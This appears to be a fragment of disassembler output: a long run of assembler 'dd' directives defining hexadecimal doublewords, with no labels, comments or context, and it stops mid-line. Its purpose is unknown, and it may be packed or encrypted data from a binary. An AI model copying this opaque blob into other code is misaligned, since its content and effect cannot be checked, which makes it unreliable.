0F0C6DE65h, 0E40600A8h, 12A5AA5Ch, 0A90F60B9h dd 601A5483h, 0EFA32843h, 6CC30090h, 2A033172h, 0D200B836h dd 7AC2A66Ah, 3802A9h, 0D0B33C1Fh, 934497E3h, 0A50BC00Fh dd 0BB7C677Dh, 909080BBh, 0AAD5CBh, 4DE876FEh, 9F392FACh dd 452C8512h, 8AB26000h, 0CCBAAEh, 0E99B5160h, 158CF3BCh dd 6199A100h, 344D1421h, 1F0BE05Dh, 400FED58h, 0C2E49043h dd 0B000EB23h, 108CAA56h, 2C95A607h, 0FC460DCh, 4093C250h dd 8AB1F3F0h, 0F07F12BCh, 24001E7Ch, 0B975DEE4h, 49F27950h dd 0D22E98FBh, 6B398148h, 0C314C5E8h, 2DE39EB0h, 3958424Dh dd 22F813AEh, 0E065D00Fh, 50A0ED4Dh, 95FF0059h, 8CCC5E9h dd 0EF002A94h, 2E72F393h, 98C078A8h, 0BDB0063h, 0FAC83FDEh dd 0DA00E190h, 0C269EBFDh, 26D73B26h, 0FAF3E58h, 0B0209AA0h dd 242AB960h, 5CCAB500h, 0F59FD8C3h, 3F2700AFh, 0C98164FDh dd 0DD0697CDh, 5387108Eh, 44080031h, 4C8FA68Ch, 820EAF60h dd 602014D0h, 0EFCB6398h, 963A0057h, 0A327D670h, 0E007871h dd 0E730ABAFh, 0F8C6720h, 0F57F1758h, 14E6DAE7h, 0B52CB0EDh dd 7903C77Ah, 1A6F2625h, 6D3BD8E3h, 81630B64h, 988031E7h dd 0D2B7BE95h, 85D53Eh, 0D8EB9B86h, 0D0CD23h, 0AE8780C3h dd 0DBE2441h, 5D864700h, 152E2603h, 9B960051h, 0AD6567E8h dd 6B0E8574h, 604A4E01h, 50939984h, 0C0712462h, 24283Eh dd 25CBD6E6h, 76D477Dh, 10239407h, 409BA9D9h, 5A61B4h dd 0A73F29A0h, 3E53F1CDh, 380024F0h, 0A4CFE7DFh, 2EF5C02h dd 0E181F305h, 244061C9h, 4E72E504h, 0CBB94726h, 9A391801h dd 4BD1B8F9h, 5F00203Ch, 791C6E13h, 5900477Bh, 7D8CD52Ch dd 0E483AFF7h, 90E003F5h, 47A178Dh, 0D242D9CAh, 0C467F080h dd 0D81C3427h, 30EE7F53h, 0C083020Eh, 246B1F66h, 0FC23001Dh dd 0D21EC92Eh, 0FB05E8ABh, 0E2FD4B74h, 0DA0BAB16h, 5F108097h dd 3FE17B5Ch, 99800836h, 0F32E8B0Dh, 0E700427Fh, 98A2DE54h dd 0E87BE68Fh, 63FE2412h, 27820034h, 7DD6BC36h, 0B4CDDE00h dd 5FA841C5h, 113F00A3h, 7E8833C1h, 0AEFCDB87h, 55F17D00h dd 8E0D9CB5h, 0DD7094h, 0F236B65Ah, 954F066Dh, 6AC32100h dd 46727845h, 78F95CCFh, 6FA2BB01h, 3844A6E1h, 0D3CB0094h dd 58FB06EBh, 65E000CEh, 0C2351155h, 0BB00796Ah, 9E7DF512h dd 1F5F3Ah, 0ECE9B7E2h, 815CBC1Ah, 2338F02Eh, 7EEF3301h dd 2A57B0h, 16F4778Ch, 0F1F06E75h, 0B5CD0717h, 419AC201h dd 64C03E38h, 0BFD60096h, 0EC402D9Fh, 0D85EAA85h, 7A8F6810h dd 78116900h, 0E06F795Fh, 2C820215h, 0B81250D2h, 0B4010C7Ah dd 909E8916h, 8303EB6h, 7677002Fh, 8CF4B9C5h, 16244AD4h dd 9D09FCC7h, 0A69F00F0h, 0F2840EC1h, 1C290086h, 45F9EB4Dh dd 9AE04409h, 18F18905h, 4BC01E04h, 7D2D7DAh, 8B43083Eh dd 0F9279353h, 0D6DB2B0h, 0E0006AF4h, 0DC57162Bh, 9886C566h dd 56A104C4h, 80CB464Ch, 48F48119h, 7952D100h, 7DC3470Ah dd 64B50E41h, 1E003071h, 0F54F9C1Dh, 0E53E1200h, 0E9F283E1h dd 0F7FFA0B8h, 2B9F005Bh, 0A79BDBA1h, 0C4FA7434h, 0C2F9F800h dd 0E96D1F9Ah, 0FBE3006Eh, 290A47A6h, 0B4001685h, 0CCD91AA4h dd 7CDAEF03h, 0B53A009Dh, 0B78140AAh, 0C400B694h, 6D3C7BCEh dd 7CA62F5h, 95A7C36Ah, 11F730F8h, 3E002D37h, 0B801A230h dd 0F2931496h, 0B68B057Ah, 40BE0549h, 0D4F330F8h, 4D000EEBh dd 0E4C6BAD0h, 0EDF8688h, 0FE633866h, 0C5AE407Eh, 0D58195E9h dd 4EC45A02h, 60FB89A7h, 960268h, 48A1907Ch, 81EEE2B7h dd 96A2A0Bh, 852F8E83h, 380F346Fh, 0C74AA7EFh, 0B0E23580h dd 0C5360016h, 0A30CBD0Fh, 0EA007A46h, 0EF2D8770h, 7861A8DCh dd 8D0F000Dh, 0B6AE7809h, 0E700C535h, 4032E5BDh, 160B171Fh dd 80B97928h, 54F8288h, 52098E01h, 0DCE2D1B2h, 362DF0h dd 94FEA6DDh, 0ED1F5949h, 6C48CA60h, 1D64F90Fh, 412FF482h dd 3C24252h, 70D9E9C4h, 0E300E2C1h, 34F7BFA6h, 4ED56Fh dd 0EEA5CC0Dh, 0F470E95Ah, 0DE1F7C03h, 90AF318Dh, 0FCF1574Bh dd 0EEA00043h, 0D056C227h, 76782F93h, 0B5C06400h, 30C61350h dd 9CB6008Fh, 347ED568h, 37000A53h, 42C38159h, 6792AFh dd 0C5798E2Ch, 0C29FBAEh, 58A0AB00h, 960669B8h, 4CB90B07h dd 0C901245Ah, 0E8894454h, 0EF2C568Dh, 410084C6h, 0C70462EAh dd 635212B8h, 4AACC127h, 7165E090h, 9B9DE909h, 862D80C3h dd 55B8F84h, 112CAAEFh dd 0C6DC47B6h, 7B51078h, 89E06472h, 7F04C000h, 0FE8AF3ABh dd 0A0100D6h, 4E828B15h, 0C2016D8Ch, 0FB626716h, 806EE0E4h dd 71EA56A5h, 0AC554600h, 3A8D01Ch, 2B1F0028h, 0E1D1E42Eh dd 0C40FA16Bh, 835AD835h, 93612Ah, 0E8207EB1h, 77D590Dh dd 0FB95EE00h, 7A1B2EC4h, 75476A8h, 1783DF4h, 0FA877167h dd 471880D8h, 0ECDE59E4h, 586D00FDh, 0B0130EDBh, 0BA1CE28Eh dd 1CE4696Fh, 6F9AF80h, 45ED17h, 3112B320h, 0B8DB0AA4h dd 0D87C5400h, 0CAFD7E46h, 9F68000Eh, 0DFE76E76h, 81F1ADBEh dd 0A1AE2CF8h, 93E010CAh, 583B6FCBh, 0CC00E289h, 3061A232h dd 2048D1C1h, 6F8F61Ah, 800C18AFh, 380489C7h, 6EA1BD01h dd 0B9FC079Fh, 1E587D8h, 0CF0B6512h, 4B0A8F29h, 37EE0004h dd 2321EB93h, 26FA03B4h, 0F18EAB2Bh, 0BBD092E3h, 2200A475h dd 0FAF3CFBAh, 0EC8C21h, 0F934148Eh, 9435C31Eh, 2300E67Ah dd 2F5EEAAFh, 3ABF8E96h, 6860CAB7h, 929D04C9h, 20E302F2h dd 0FF194C1Ch, 8489DBC2h, 0AE9CDCh, 9F8EFD07h, 323B397Ch dd 5100D2E6h, 0AB14694Ch, 0E48E5FAh, 0C3B3765Dh, 0DCA81E3h dd 80D9DAE1h, 87A0CF18h, 68FBDDh, 29CE238Dh, 951EF72Bh dd 79E250Fh, 0AC70985Ch, 606B070Bh, 1FDB88F0h, 0CE21C07Ch dd 27C68B2Eh, 0ABD5450Ch, 0A0A20C3h, 0CCFFC133h, 0EC827820h dd 0BA80818Ch, 9C7CF718h, 0F8D04AF2h, 90BD8880h, 9DAF00E9h dd 0CD976D84h, 0C5F5034Ah, 1113D0ABh, 0D8A18A8Ah, 0CE011AB0h dd 0DA7586DFh, 0DD450041h, 0D4695AD2h, 0F71C38F3h, 0AE07A548h dd 0B20EDE6h, 33958ACh, 673E0A2Fh, 4198F1C5h, 3149263h dd 290CA82h, 35FA2821h, 6F1048C4h, 69CD0089h, 5E2A9D57h dd 8C6844Eh, 0EE202867h, 0D1CD0081h, 593DFEE6h, 2730B004h dd 0B3F85012h, 66801DCFh, 0AA00205Fh, 0C6F1051Bh, 0F28BE42Ch dd 0C08CC84h, 93002321h, 38C6DD05h, 340FAAh, 76E7EB50h dd 889F46C2h, 0B5E47400h, 0F49290ADh, 1089155Dh, 2F008C9Bh dd 787FCD0h, 0C40E63D2h, 8C64220Fh, 405D2137h, 0EA0310B9h dd 4169C828h, 85E938CCh, 0F0E79900h, 544B8A81h, 38A9533Eh dd 249524FDh, 9ED7AB00h, 280BB8ACh, 30FC47B0h, 0E141D6A7h dd 8100724Ch, 0D7C3BAABh, 0AF2F0Ch, 802990C0h, 64C2A84Ah dd 0B1CC610Ch, 6A289188h, 0C5C2CE3h, 1ED0C421h, 0FCB7028Ch dd 641A077Ch, 800B4418h, 0FC00B850h, 259DFF46h, 384D442h dd 37338738h, 80D4F99Ah, 0FE8C4F7Ah, 2A3FE300h, 2CBFC04h dd 91E62Ch, 48315C67h, 0F9DAE1D3h, 0E5C4E9A0h, 4D649A0Ah dd 4674B089h, 528A0338h, 0FA48571Fh, 50D043FEh, 430D2C48h dd 0CD861D36h, 0C6954AC8h, 790121D3h, 7FD5CD9Eh, 5024A25Bh dd 0DA4600EEh, 0CE1C5E98h, 2028BBACh, 6F0FC4CFh, 0AA0579C5h dd 0CB435892h, 0BA07F9FCh, 4C883318h, 0A3FC00CCh, 0DB20B1D7h dd 8416D21Eh, 0D807A47Dh, 5740E666h, 77B05B0h, 8B07CA98h dd 1CD8DA47h, 5C964AB2h, 18F028C5h, 2921B056h, 673F9E0Dh dd 0EBED00B7h, 102D88F1h, 5DA5375Ch, 4175F078h, 0AB0F126Dh dd 894BCBE2h, 4D9C180Dh, 94CF23C1h, 9105383Fh, 0F7848CC7h dd 92CF07CEh, 0A8D3BBF1h, 7C886E0h, 0FFE010FAh, 0F18C461Bh dd 30B4F103h, 0C29F013Ch, 3E4468B2h, 69606208h, 0EC4B4CF9h dd 6A8E2006h, 113EB7h, 66417C27h, 0F43AAB45h, 0CA536D00h dd 87FA2EEDh, 159A0989h, 709122B7h, 54220Ch, 8A11A05h dd 50C9F0h, 316A3DF6h, 7D48F956h, 0C1CE63Eh, 0A99CADD8h dd 390974EDh, 88507A60h, 0F8F03E8h, 43DBE3A3h, 0CE1617D8h dd 0BDB0974Ch, 1DDE30D6h, 38116800h, 44C05706h, 0F8730B3h dd 94A4168h, 0E0802E02h, 428E1CF3h, 0ABF440FCh, 0CFC0805Fh dd 40CC9F56h, 0C72B16BCh, 1118CC94h, 89C821h, 76F9D405h dd 0F7DB25B0h, 20DA48h, 1FE26058h, 39C3CA83h, 18E103E3h dd 48C1392Fh, 8891A7ECh, 44ADF900h, 1BB7447h, 708DE04Eh dd 30D7FA01h, 8604C66Fh, 1A43EBF4h, 5D073C81h, 4E9CB08Dh dd 9AC89222h, 3B23E83Ah, 0F988DE02h, 0E0744B4Bh, 6036E5B7h dd 0F1A799C3h, 930F6ADFh, 0ECD0FE87h, 30229CBh, 0C9C23C75h dd 0D17CA7BCh, 40E4DDA0h, 0F78EB704h, 0FC914168h, 7062B6CCh dd 8FA4E903h, 0B4E71326h, 4A304337h, 3A53C8EFh, 7A593C72h dd 5B8E02Ah, 0ABF39AA4h, 0D3BC925Ch, 489CF030h, 3C594E26h dd 81BFD588h, 29389CFBh, 91F253D9h, 2818F9F4h, 0C6F80508h dd 4010C484h, 9F051FCAh, 287001FBh, 3E52FCA3h, 5AC2215h dd 314853D5h, 2067C413h, 0DA3EAAC0h, 60D04D4Dh, 0C4001D23h dd 0F20783FCh, 39448664h, 0FCCD0249h, 0C20848EEh, 7FAF5440h dd 67888B03h, 7B3B9CF2h, 0F3097870h, 4CD1893h, 3335FEC4h dd 4AC5D97Dh, 90001CD2h, 678CD95h, 79738BB3h, 68F90022h dd 321D2EC3h, 0BEC2464h, 412988E8h, 5602F4D6h, 0C0F5B640h dd 4BFFE00h, 6EEE7944h, 44EC8DC5h, 88D88B48h, 30D9C03Bh dd 0DC15F25Dh, 0C0A81C5Fh, 1279CF57h, 308F0993h, 0CC825D4Ch dd 24680EC7h, 88AC9FD5h, 7822212Eh, 29D3215Eh, 724DF880h dd 321402h, 40E91036h, 2E1EB15Bh, 0F77B6679h, 0BE003FEEh dd 74E4ABC7h, 755C44ACh, 0D06C00FFh, 0C9AD2FB9h, 9C170DDEh dd 343208EFh, 0E4604597h, 131F60C1h, 0AF17121h, 0CE7CB8EAh dd 53C70288h, 3C4587ACh, 0F5746424h, 640B6F18h, 0F7FC31h dd 0B387B7E8h, 5CE44C92h, 9044CC0Ah, 3F24BDD4h, 80F91134h dd 5768CD82h, 5B208CB5h, 9A8D2C28h, 0E69103F8h, 0A8C8C548h dd 2E09736Fh, 0A277C3ADh, 6457F9C0h, 0A7AC4C30h, 9AE46E28h dd 132724D4h, 5CA44A2Ch, 0DE013846h, 4B424CB9h, 0C8CC34E5h dd 0C077E310h, 0CC968415h, 270156B8h, 9A01AE81h, 9660C004h dd 2BB60123h, 0A236A11Dh, 38318030h, 5095337Ah, 0AC900Eh dd 221872DAh, 0D05125AAh, 0BBC9C91h, 80C442ABh, 0D8B04A1Ch dd 0F99864E6h, 0F9696094h, 0EA07258Eh, 4A002016h, 6719FCD2h dd 11C8AE7h, 6660982Fh, 209E0AB7h, 1F8CCD44h, 0C91C9D02h dd 0A49601F2h, 9CFD8A1Ch, 0AFD3B242h, 0C9A7025Dh, 825E0048h dd 0CC043600h, 9B241B07h, 63BD005Ch, 0D69C9FA6h, 14096F12h dd 22EB73E3h, 223B4528h, 44480E68h, 0E500D76Eh, 0F8C2E72Ch dd 3DC873CCh, 7A9C4590h, 7E958470h, 52F08A0Ah, 3166E244h dd 75D3F83Eh, 0ABAC0102h, 0E66FBCD1h, 6F472A4h, 0DD40570Bh dd 410559BAh, 0F1ABFF76h, 5411ACC8h, 22B44Bh, 3912A431h dd 0C3C79C2Dh, 0FDEE4C00h, 0A294F4CBh, 59430C86h, 9313E10h dd 26010F71h, 4187AF89h, 3DDC49C4h, 0DBD105A2h, 8C830605h dd 0BE0039B4h, 4EB5E16Dh, 0F9AD28D1h, 7AA4BC4Ch, 784BE6D3h dd 1FFA00FBh, 347B7E86h, 3B982BABh, 0C07A024h, 48BABBh dd 26564AC7h, 973E480h, 902C505h, 0EC5950BAh, 2318C059h dd 8B41BF0Dh, 2C72995Dh, 0D41A0E00h, 9D95F489h, 0DDAA7F00h dd 17272D33h, 0AF300181h, 7343C6F0h, 81F8323Fh, 8E7644BCh dd 426CC7F6h, 0AE18285Bh, 0F2E200BDh, 6F9A3739h, 0AA04302Ah dd 10652ED7h, 18B49488h, 0A62C6B86h, 0BC00C65Eh, 0E9D723FCh dd 678709D5h, 0E83FA0EFh, 0C0D19C29h, 0AA094318h, 608EABA5h dd 579BC08h, 0BDDAB33Ah, 0CF649348h, 940E00E4h, 52C2ABFEh dd 66E27C46h, 0E076EE30h, 45C026C9h, 0AE8A00F4h, 604AA605h dd 5C63F5F2h, 0E1AB08F8h dd 502D48D7h, 0CFB40181h, 826189Bh, 34C6F205h, 1C3CE8C9h dd 8505011Eh, 9E480320h, 0BB90E32Dh, 277D2843h, 3402894h dd 17490E8Dh, 200F391Fh, 1789BAB0h, 30809C9Ch, 6D748119h dd 9F4F0B32h, 14011841h, 0D227C580h, 20B2C049h, 408ACA84h dd 0AC4CACh, 0F24A6E42h, 0ADC3885Fh, 0DD1FC178h, 39B0020Ch dd 0CF5E073Eh, 6003D279h, 0F8050D7Eh, 2C9EAC91h, 1AFC2CC0h dd 0C2DC2C69h, 188651ACh, 10054825h, 78963C27h, 51D211Dh dd 2EAB6440h, 4E10DE80h, 10642FE5h, 46C00B42h, 0F88A5777h dd 963B7138h, 1408266Ah, 1E2028CAh, 1E8318E3h, 343525F4h dd 8A50DB02h, 9FF061DEh, 0D5043428h, 149B0F43h, 7CC237Ch dd 92259CF1h, 8C1B021Ah, 9CF88B42h, 0C40F4640h, 8CC6583Fh dd 21DFA16Dh, 0F3DB00B6h, 0D41369EAh, 10047E1h, 0C30F972Bh dd 9BF561Fh, 34DBD52Ah, 867BC09h, 2860C844h, 7D786502h dd 39FB090Eh, 4A43214Fh, 38220CBDh, 92D46500h, 5B8346F6h dd 0D5E8AB00h, 93278A18h, 2880BA77h, 9CDCC258h, 392156E0h dd 69CB800Ah, 0E3EC1A9h, 7C0C5B49h, 800CB75Ch, 67D8D32Fh dd 68050C0Fh, 1F68BD41h, 4DE4988Ch, 284EE481h, 0BB484F74h dd 13E70020h, 0FD71C266h, 5C6DD9Fh, 5DE0F9h, 0C155B2A0h dd 60939ACFh, 3059101h, 6181CC7h, 1891D88h, 0B3D8B805h dd 0C4103FD6h, 2D03BF81h, 93079FA8h, 9885B497h, 0ECB30402h dd 0DBB059BAh, 0B4AE60D4h, 0E33A4CCDh, 0CB64030Bh, 0D146D094h dd 309CEE0Fh, 0FC651229h, 9CF9F680h, 9E4AA3Ah, 0C0907B1Fh dd 0E010650h, 0BBD6362h, 6C235FF3h, 2E39D5A2h, 0C7822838h dd 5442384Bh, 0B821C4E5h, 2D60D473h, 805181Ah, 0CE4C4EBFh dd 43428080h, 14649EA6h, 0DB208C07h, 0FC461098h, 0CBCD8302h dd 0D4318D4Ah, 9B822180h, 9F1F48CDh, 0F2576704h, 0F0833D1Ch dd 8F4CA8E9h, 1DAD0049h, 0B3262841h, 3098FA5Eh, 0E929581Fh dd 230DA6C0h, 60BB43C7h, 6E44F062h, 0EE09FC32h, 0E28AA7A5h dd 7034DB24h, 8D09BB26h, 0E8B7EBC6h, 4E40Ch, 6F357785h dd 3C3F50C0h, 5F43DB01h, 1DCE16E2h, 12FD0ECh, 0F8980B69h dd 0E7E341F3h, 872E7903h, 0D5A6FEh, 6FC75C11h, 0DB6355D6h dd 11B51C01h, 0BFD2DCBEh, 12CF6AD0h, 0D25C8A40h, 0C5302034h dd 0FC07FAFCh, 4A208663h, 0CE4E040Bh, 0F467B4FCh, 3B3E680Ch dd 9422806Ch, 0FA08BCEEh, 1424FF1Ch, 0EB9211B3h, 82B5AF1h dd 0C2CF0C10h, 0F847C66Dh, 94B202A0h, 0D0FF8B87h, 1552500h dd 672D03CCh, 0F4D5077Ah, 410063ABh, 0AF202CC8h, 0B723F5Ah dd 551FC615h, 54788C08h, 800A3721h, 0E1D6741Fh, 2DF0C0B0h dd 0F3996902h, 673AC557h, 60134404h, 14C58973h, 0C4635E40h dd 91CDFF04h, 0EB7C8187h, 36C109D3h, 0CBB8870Ch, 8CED4A2Eh dd 0B09F8E70h, 0ECA60473h, 0F4F74DF8h, 0BD1F4B14h, 3700A4F6h dd 0A7ED066Fh, 44E300BBh, 497BFF68h, 8033871Bh, 0F50848h dd 68BCC321h, 25A164FCh, 7612D104h, 1B2106F4h, 6408A4FEh dd 0FF9C803Eh, 0F1BED574h, 0B9A40182h, 2D6073FBh, 2900F3F9h dd 6EEF44EDh, 0E247D4h, 47526A0h, 660B8883h, 0EB966900h dd 1E544F0Eh, 1EEE0C4h, 0B404746Dh, 82FD63BDh, 653BAE79h dd 0EF00FFC9h, 0E6DCCB08h, 29029100h, 96414E5h, 0B0E065Dh dd 7885DE40h, 0BCB3A71Fh, 799D9E85h, 0BA1FBCC0h, 8741068Ah dd 0A1ABD4B4h, 4DFC0700h, 0E6EB3E4Ch, 0C3263388h, 21010E08h dd 2A4DF4FAh, 7C600C48h, 307FFA06h, 0B6B11B60h, 0EF3D2439h dd 71D20007h, 1F870198h, 5720C01Dh, 8A1AF4A7h, 458D88A8h dd 77A84600h, 807A313h, 84D0FBFBh, 0B420C3A6h, 57A8464Ah dd 9F000C20h, 7A85FD9Ch, 381C124h, 47D8AC4h, 181484DBh dd 0AC3056C6h, 0C4808C8Ch, 16007885h, 6E293BC9h, 6354BE41h dd 0AC9B59C4h, 0F9915E3h, 0CEA543BBh, 1BE8FA9Bh, 88C1B835h dd 0F03055A4h, 0FBB0168Eh, 3A870CC0h, 70E0CF2Eh, 2FC6A14h dd 0BA3FE4h, 62656720h, 30042193h, 0B38F7B3h, 0A0243DCBh dd 80BC58EBh, 0E6E0ADE7h, 0F098BCA2h, 83293D36h, 0D6065081h dd 50A0D4CAh, 67438CCCh, 0BA824D00h, 0F6563AF7h, 6BFE1E83h dd 31BE79DBh, 0A1C4510Ah, 727002C4h, 2C49F4B8h, 0E64410F3h dd 0AF1A0F96h, 88626AABh, 4F40A83Ah, 9000B53Fh, 4724708h dd 0A0FF6550h, 544A7499h, 48688087h, 0F6BCB0A5h, 26D9008Ch dd 570EFA0Dh, 0A1D90F7Ch, 8440E57Ah, 245B02E1h, 0BB6487DFh dd 44C9387Dh, 0BA8C963Ah, 0B108C638h, 0B0C521C3h, 15E8D8C9h dd 0F3DF0E47h, 9C267235h, 450C50E4h, 680E9780h, 0D1809146h dd 34A18F1h, 751B8473h, 89A26B35h, 398B3848h, 0FE51837Eh dd 0E59180D4h, 0EBBF8A48h, 3CFD24A2h, 845740C8h, 0EE0C506Ah dd 69206831h, 48E74847h, 0C2251Dh, 49999171h, 0CF05A516h dd 87206F9Dh, 0E47D980h, 3D250031h, 49A97F67h, 0FD28D0AAh dd 0F60E3028h, 154F46ABh, 0BCEB0090h, 781A452Dh, 0C8F40155h dd 607A649h, 0FF2893EFh, 0C0369008h, 7BF06847h, 0EC38B146h dd 5F01C0C0h, 0DBACA068h, 6FF03317h, 0C3610946h, 3831033Fh dd 8381E5FEh, 0B47CA699h, 1E18750Ah, 2A8B513Ah, 0E4646F4h dd 847C9A9h, 40B2C48Eh, 5BC9B1C2h, 0D6D702B3h, 0ECDC5421h dd 3D0EA440h, 0AF0CA90Ch, 37A10F3h, 0C7D76504h, 1BB13E8Ah dd 0FEEC2091h, 0ECA9712Ah, 40E66D02h, 41B31E74h, 9091E868h dd 0C9B5835Ah, 1CAE8233h, 0C903BDEEh, 18977D8Fh, 0DB45805Eh dd 4985E2E5h, 0D00DC32h, 0BF89519Ah, 21F11072h, 23941948h dd 3081A290h, 0CC00A466h, 31343F2Ch, 0A673C142h, 83AA28ACh dd 3D901328h, 60444558h, 75F44305h, 9CE04227h, 0FF1F21B3h dd 68003498h, 5D6E6AAAh, 9C435064h, 429F418Bh, 463039F4h dd 467BFA68h, 0ECEB1059h, 685ECD01h, 0F19C9726h, 3C1C3061h dd 88402C58h, 4DFDC3B1h, 0C0137024h, 0C05F0FC4h, 0EFD64DF5h dd 0D00A776Fh, 0E8045401h, 0D066B39Eh, 304CA032h, 9A11684Dh dd 0F18C617Bh, 451DC621h, 60002768h, 4093D6Dh, 0C48537BDh dd 0F1C568A1h, 0F323C2FEh, 13025091h, 274D88E9h, 0E0D60089h dd 0F7D7A2CAh, 6130C712h, 0E3E671F8h, 53360099h, 117DA1BDh dd 9707ABB0h, 147277C8h, 0E0C03F9h, 0D90B82Ah, 52611287h dd 0EB1048CFh, 0AB464EC0h, 86FB7D77h, 0AD9B44h, 78D24636h dd 3583E165h, 72D12D07h, 1EC0646Bh, 0F1FD36BDh, 80F55891h dd 77A94644h, 22A3432Bh, 4D4B0085h, 0B15D8E46h, 5498AF67h dd 8CA0E876h, 5652E7BBh, 3082B228h, 0EA00EF7Eh, 13318E3h dd 0C09A2443h, 0DA615C21h, 0FB00D783h, 34D23A67h, 27EBE6Ch dd 0A858ED64h, 0DC8208F2h, 3E0183D9h, 0FDF19F34h, 40A65464h dd 652427B2h, 0C0A8468h, 4203B4EAh, 0FF0D2B80h, 0A1E8930Bh dd 0EC24863Ah, 0DD1B3E3Bh, 917A353Eh, 804D1180h, 7B996842h dd 0C074B179h, 0CF685AC1h, 4044BF02h, 0C0FF85E1h, 808F17FCh dd 6E337C78h, 0E120A0B6h, 18BDFD4Fh, 0D89E0C9Fh, 3C6D0BBh dd 443762F2h, 57E1B8E9h, 0C20670Fh, 40DB4920h, 25249802h dd 5C646FBAh, 79438E0Eh, 0C81352A8h, 38F03443h, 0BB21046Fh dd 0C9680FAAh, 0F6702464h, 0FE0A00E1h, 4D65074Ah, 0A4EEFCD3h dd 107CD70Fh, 698A7220h, 4828F74Ch, 0E86824BBh, 0F34674h dd 89BF507Bh, 26767E1Eh, 8386386h, 7C04AFD7h, 18D0132Ch dd 3E060C72h, 4B03FEC8h dd 6BA280A4h, 1143AE8h, 3EAE88C0h, 0E86C1C8h, 40B7F5D0h dd 0C0BA35A0h, 750CFA97h, 401C6754h, 0AB06E27Ch, 866A80B0h dd 96BD00D7h, 0C9CE7264h, 0D448204Fh, 5AD0150Ch, 0E27042A8h dd 25B7300Dh, 80A36B3Fh, 845907C7h, 16167AF7h, 2FED4668h dd 0BC237Ch, 0B995D12Ch, 0EF2621C1h, 46166260h, 0A4AAB408h dd 9C8360F0h, 5F00D60Ah, 0F5C6A1CBh, 4723C4h, 0B964FDA3h dd 0D86209ADh, 2CD248h, 28F794BBh, 9089485Ch, 79030F44h dd 71C1EB0Eh, 75545F67h, 0E6AC4178h, 3C7200AFh, 0FF242C3Dh dd 33DA0EC0h, 65238DA2h, 17A7C848h, 38BDF114h, 3E96F120h dd 732AF918h, 0DE30A4F6h, 94B1D98Ch, 9CE100AFh, 0DF7B6757h dd 0EEE69EFFh, 0A45F022Bh, 30C9B407h, 0B562B604h, 0C9BCF920h dd 0EB813456h, 0BDC408D8h, 4EC9AAC1h, 0BE18C6C1h, 0B2FB88h dd 0BC1CA6C9h, 0A9C0AB22h, 0C0C19F29h, 0FDF1EA00h, 48FCDEh dd 0EED38C54h, 0A3695F28h, 7823AC00h, 0CFE62DA1h, 96209425h dd 76386FEDh, 410E890Fh, 6C87FCA8h, 4F01D053h, 60200138h dd 0AC65176Bh, 300C05D5h, 44B8C8FFh, 0C9AF1C8Ch, 889E1145h dd 0B7C480B3h, 691EAAC9h, 0F339783Ah, 0BDB980F9h, 0AF5A7D65h dd 0A06E037h, 0B28740A9h, 4DFE4064h, 0FB483E42h, 0F6E8E094h dd 0AA5D014Dh, 212C7E68h, 2C062B6h, 0F5CC0FA1h, 3554C25Ch dd 0B2B1805Ch, 0A6455D08h, 0A14A5470h, 47A04042h, 0F8172BB5h dd 0C480BF11h, 3DB86DECh, 702A9C01h, 3B85E76Eh, 0C0CA46h dd 0C1549526h, 77A3111Bh, 0D418214h, 420607C0h, 8098DFF4h dd 2CD807E2h, 0BF12E323h, 80C4883Ah, 48C2D0C4h, 59AA2780h dd 206B1810h, 71B08800h, 0ECA428ACh, 14CB34Ah, 7BFC6843h dd 807C7351h, 0B5685BC4h, 0D844FD60h, 30386CC2h, 0FE3A6841h dd 0F722467Bh, 0D759C228h, 29338CFh, 8A0CB071h, 0AA0C59ACh dd 9803297Ah, 0E06FFA74h, 0C3C07085h, 0FD25B9B8h, 184E2100h dd 0DBE5F1E2h, 0EA5007C8h, 0D025B50Eh, 0EE6423E7h, 0D0A5BB72h dd 9D8171EFh, 704CEE74h, 0AA400F08h, 69710CA3h, 0A098270Dh dd 8247C18h, 283DEEB8h, 7CBCDD50h, 0A0C84980h, 0C199D012h dd 9EB8DFE8h, 0D345FC61h, 0D09347DBh, 49EF33Ch, 9D238060h dd 0B70083B5h, 5F43906h, 0B1F08847h, 18F4D120h, 9C545067h dd 4DBD3A90h, 0C2B33C12h, 0FC97A578h, 60ECEF88h, 41C54C16h dd 37C03D00h, 57490BADh, 0BCA40901h, 0CC200AD7h, 7DE7D0D4h dd 8E831F00h, 0FB34B371h, 0ECA70F58h, 0D420849Eh, 6629D607h dd 24E1036Ah, 0F54674h, 10AC1642h, 5028CC9h, 74F27EA3h dd 5B85C9Eh, 1909C5Ch, 302382B0h, 4BC4545h, 52588788h dd 46F61009h, 4633043Ch, 624377AEh, 384A209Bh, 0D0D5A46h dd 917E6189h, 0EFBC7028h, 1CAB008Ch, 310AD4D8h, 38186F6Bh dd 0ED6970F9h, 4F0F1393h, 3670C024h, 4C4CFD3Dh, 0A7E1613Ch dd 7180F963h, 3A5DDB46h, 0B12AFF8h, 6C009FB0h, 0DE3B2B60h dd 3D31C0B4h, 187CC474h, 0A54C9200h, 0EC094090h, 5D70EE6h dd 12E128BFh, 0B0A99951h, 5E658912h, 0A77D0123h, 69468042h dd 7900C3CFh, 6E264D03h, 73D678EFh, 99042D8Ch, 0A0E0B40Ah dd 915496B4h, 463080E9h, 964B77B5h, 394F5818h, 8214463Ah dd 0FE36D1B2h, 8087A21h, 0F5FC570Eh, 78627007h, 0F8381F08h dd 6B40A4B4h, 737C0038h, 70249F79h, 0DF782472h, 74A002ECh dd 6B000760h, 24117E73h, 1024BACAh, 0C0F2C861h, 77A24647h dd 0C42C234Eh, 464C00B6h, 484593BDh, 0FC056A24h, 0F5D78549h dd 39BC4Bh, 2362EF80h, 0BE990001h, 2FF0BDAEh, 884D71BAh dd 0C42F4A9Ch, 1B079923h, 0C6D0647Dh, 0F74521h, 0F5375EB2h dd 0C8F46FA2h, 1C22A003h, 1344B40Eh, 0D109F910h, 8199377Ch dd 259F7718h, 0A423ABFEh, 683081E2h, 1AF90041h, 1E95A5C9h dd 6A14F188h, 0BCE870h, 542E3038h, 701CCC99h, 786F13A6h dd 0BFB04CBBh, 5E008691h, 3CC6397Ch, 216EAD8h, 0DAE585E1h dd 3C7BA409h, 145FFD58h, 843B3036h, 61FEC067h, 9DFA60CEh dd 4840A849h, 8F019EA5h, 98B5017Bh, 26A9F6F5h, 23CC73BCh dd 4D9A01B6h, 0E1B3E4Eh, 4DF2FC00h, 70AB4286h, 67DF5B00h dd 0E501CF65h, 1D57483h, 21CA7AB2h, 3085B734h, 21F9406Ch dd 0CF03E44h, 4D222C92h, 0F81114h, 0C89850B9h, 15A55A3h dd 71DC9AD1h, 0C842317Ch, 67288486h, 6870A8D6h, 17A5732Dh dd 8FEF11E8h, 